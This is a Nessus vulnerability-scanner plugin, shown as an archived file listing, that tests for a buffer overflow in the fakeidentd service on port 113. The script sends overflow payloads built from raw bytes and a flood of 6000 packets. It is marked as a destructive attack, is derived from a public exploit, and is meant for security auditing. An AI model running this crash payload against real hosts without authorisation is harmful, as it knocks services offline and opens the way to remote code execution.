home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / fake_identd.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  118 lines
  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. # It's largely based on lameident3-exp.c by
  4. # sloth@nopninjas.com - http://www.nopninjas.com
  5. #
  6. # This problem was originally found by Jedi/Sector One (j@pureftpd.org)
  7. #
  8. # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
  9. #      Erik Anderson <eanders@carmichaelsecurity.com>
  10. #      Added BugtraqID and additional information reference link
  11. # 
  12. #
  13. # See the Nessus Scripts License for details
  14. #
  15.  
  16. if(description)
  17. {
  18.  script_id(11054);
  19.  script_bugtraq_id(5351);
  20.  
  21.  script_version ("$Revision: 1.4 $");
  22.  
  23.  name["english"] = "fakeidentd overflow";
  24.  script_name(english:name["english"], francais:name["francais"]);
  25.  
  26.  desc["english"] = "
  27. fakeidentd is a minimal identd server that always replies to
  28. requests with a fixed username.
  29.  
  30. There is a buffer overflow in some versions of this program
  31. that allow an attacker to execute arbitrary code on this server.
  32.  
  33. Solution : disable this service if you do not use it, or upgrade
  34. (see http://software.freshmeat.net/projects/fakeidentd/)
  35.  
  36. Additional Info : http://online.securityfocus.com/archive/1/284953
  37.  
  38. Risk factor : High";
  39.  
  40.  
  41.  script_description(english:desc["english"], francais:desc["francais"]);
  42.  
  43.  summary["english"] = "crashes the remote identd";
  44.  summary["francais"] = "plantes le identd distant";
  45.  script_summary(english:summary["english"], francais:summary["francais"]);
  46.  
  47.  script_category(ACT_DESTRUCTIVE_ATTACK);
  48.  
  49.  
  50.  script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison",
  51.         francais:"Ce script est Copyright (C) 2002 Renaud Deraison");
  52.  family["english"] = "Gain root remotely";
  53.  family["francais"] = "Passer root α distance";
  54.  script_family(english:family["english"], francais:family["francais"]);
  55.  script_dependencie("find_service.nes");
  56.  script_require_ports("Services/auth", 113);
  57.  exit(0);
  58. }
  59.  
  60. #
  61. # The script code starts here
  62. #
  63.  
  64. port = get_kb_item("Services/auth");
  65. if(!port) port = 113;
  66. if(!get_port_state(port))exit(0);
  67.  
  68. soc = open_sock_tcp(port);
  69. if(soc)
  70. {
  71.  send(socket:soc, data:string(crap(32), "\r\n"));
  72.  r = recv(socket:soc, length:4096);
  73.  close(soc);
  74.  if(!r)exit(0);
  75. }
  76. else exit(0);
  77.  
  78.  
  79. soc = open_sock_tcp(port);
  80. if(soc)
  81. {
  82.  
  83.  #
  84.  # Due to the nature of the bug, we can't just send crap and hope
  85.  # the remote service will crash....
  86.  #
  87.  # 
  88.  send(socket:soc, data:crap(19));
  89.  deux = raw_string(0x41, 0xEB, 0xEF, 0xFA, 0xB7);
  90.  send(socket:soc, data:deux);
  91.  data = crap(data:raw_string(0xFF), length:19);
  92.  for(i=0;i<6000;i=i+1)
  93.  { 
  94.   send(socket:soc, data:data);
  95.  }
  96.  
  97.  close(soc);
  98.  
  99.  
  100.  soc2 = open_sock_tcp(port);
  101.  send(socket:soc2, data:crap(19));
  102.  deux = raw_string(0x41, 0x5B, 0xFF, 0xFF, 0xFF);
  103.  send(socket:soc2, data:deux);
  104.  trois = raw_string(0xFF, 0xFF, 0xFF, 0xFF);
  105.  send(socket:soc2, data:trois);
  106.  
  107.  close(soc2);
  108.  
  109.  soc2 = open_sock_tcp(port);
  110.  send(socket:soc2, data:string("1234, 1234\n"));
  111.  r = recv(socket:soc2, length:4096);
  112.  close(soc2);
  113.  
  114.  soc3 = open_sock_tcp(port);
  115.  if(!soc3)security_hole(port);
  116.  
  117. }
  118.